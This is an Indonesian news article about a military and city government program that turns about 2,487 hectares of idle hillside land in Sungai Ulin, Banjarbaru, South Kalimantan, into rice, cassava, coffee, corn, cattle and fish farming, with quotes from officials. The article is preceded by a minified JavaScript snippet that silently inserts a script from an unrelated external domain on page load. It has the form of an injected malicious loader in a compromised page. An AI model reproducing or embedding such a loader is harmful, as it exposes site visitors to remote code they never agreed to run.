(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Buka Lahan Tidur di Sungai Ulin Dorong Ketahanan Pangan

KANALKALIMANTAN.COM, BANJARBARU – Hamparan lahan tidur di kawasan perbukitan wilayah Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Kota Banjarbaru, Kalimantan Selatan (Kalsel), dijadikan program ketahanan pangan terpadu Kodim 1006/Banjar jajaran Korem 101/Antasari.

Program ketahanan pangan ini dikerjakan jajaran TNI bersinergi dengan Pemerintah Kota Banjarbaru dalam upaya meningkatkan ketahanan pangan di Kalsel.

Secara simbolis, Kepala Staf TNI Angkatan Darat (KSAD) Jenderal TNI Maruli Simanjuntak, meresmikan lahan seluas sekitar 2.487 hektare ditanami sejumlah tanaman pangan, Sabtu (8/6/2024) pagi.

“Selama ini kita banyak melakukan gerakan panen massal namun tingkat produksi tidak baik, kita mengevaluasi itu sehingga kita sampaikan ke jajaran supaya betul-betul membuat pertanian, perkebunan, dan peternakan dari lahan tidur, dibuka lahannya dan menghasilkan. Sehingga produksi kita akan terlihat nantinya,” ujar KSAD Jenderal TNI Maruli Simanjuntak.

Program ketahanan pangan ini turut menggandeng petani-petani di Banjarbaru dan sekitarnya. Bahkan ke depannya dievaluasi dapat mengundang investor untuk meningkatkan hasil yang lebih dari produksi ketahanan pangan ini.

KSAD mengharapkan adanya pengaturan agar bagaimana para petani dapat hidup dengan layak dari hasil produksi.

“Tidak perlu teori hitungan sekolah, tapi bagaimana caranya semua ini bisa dikerjakan, petani bisa hidup layak dan produksi berjalan,” terangnya.

Sementara itu, Dandim 1006/Banjar, Letkol Kav Zulkifer Sembiring, memaparkan gambaran ketahanan pangan terpadu meliputi, lahan tidur yang sudah dibuka ada sekitar 901,91 hektare di wilayah Yonif 623/BWU.

Kemudian luas lahan yang telah dikelola sekitar 66 hektare, terdiri 50 hektare tanaman padi gogo sudah berusia sekitar 50 hari, 14 hektare tanaman singkong, 2 hektare tanaman kopi jenis liberika.

Selanjutnya ada sisa lahan tidur atau yang belum dikelola sekitar 1.519,09 hektare, rencananya akan dikelola seluas 1.200 hektare pada tahun ini.

“Kita menyadari bahwa masih ada lahan tidur, sehingga kita berinisiatif menggandeng kerja sama dengan pengelola untuk luas area 1.200 hektare dibuka untuk perkebunan jagung 800 hektare,” ujar Letkol Kav Zulkifer Sembiring.

Tak hanya itu, peternakan sapi di lahan 23 hektare yang tahun ini direncanakan 100-200 ekor. “Ada area pengembangan pakannya, serta budidaya tanaman hortikultura dan ikan patin dengan media bioflok seluas 10 hektare,” sebut dia.

Menyambut baik hal ini, Wali Kota Banjarbaru Aditya Mufti Ariffin yang hadir berharap program ini dapat berjalan sesuai dengan tujuan pemerintah dalam hal menyuplai bahan pangan ke wilayah sendiri.

“Kita sendiri bisa terbantu dengan dibukanya lahan TNI ini untuk ketahanan pangan, termasuk para petani juga terbantu, dimana lahannya hari ini pinjam pakai atau bahkan sewa bisa bekerja sama dengan TNI menggarap produk pertanian, perkebunan dan peternakan,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin.

Disamping itu, dengan pembukaan lahan tidur, kata dia, setidaknya dapat meminimalisir ancaman bencana kebakaran hutan dan lahan (karhutla) di Banjarbaru.

“Oleh sebab itu program ini juga salah satu bentuk sinergi dari pemerintah daerah, dan TNI. Seperti halnya kita membackup traktor, insyaallah akan bantu tandon untuk persediaan air dan alat bor untuk sumur,” tandas Aditya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie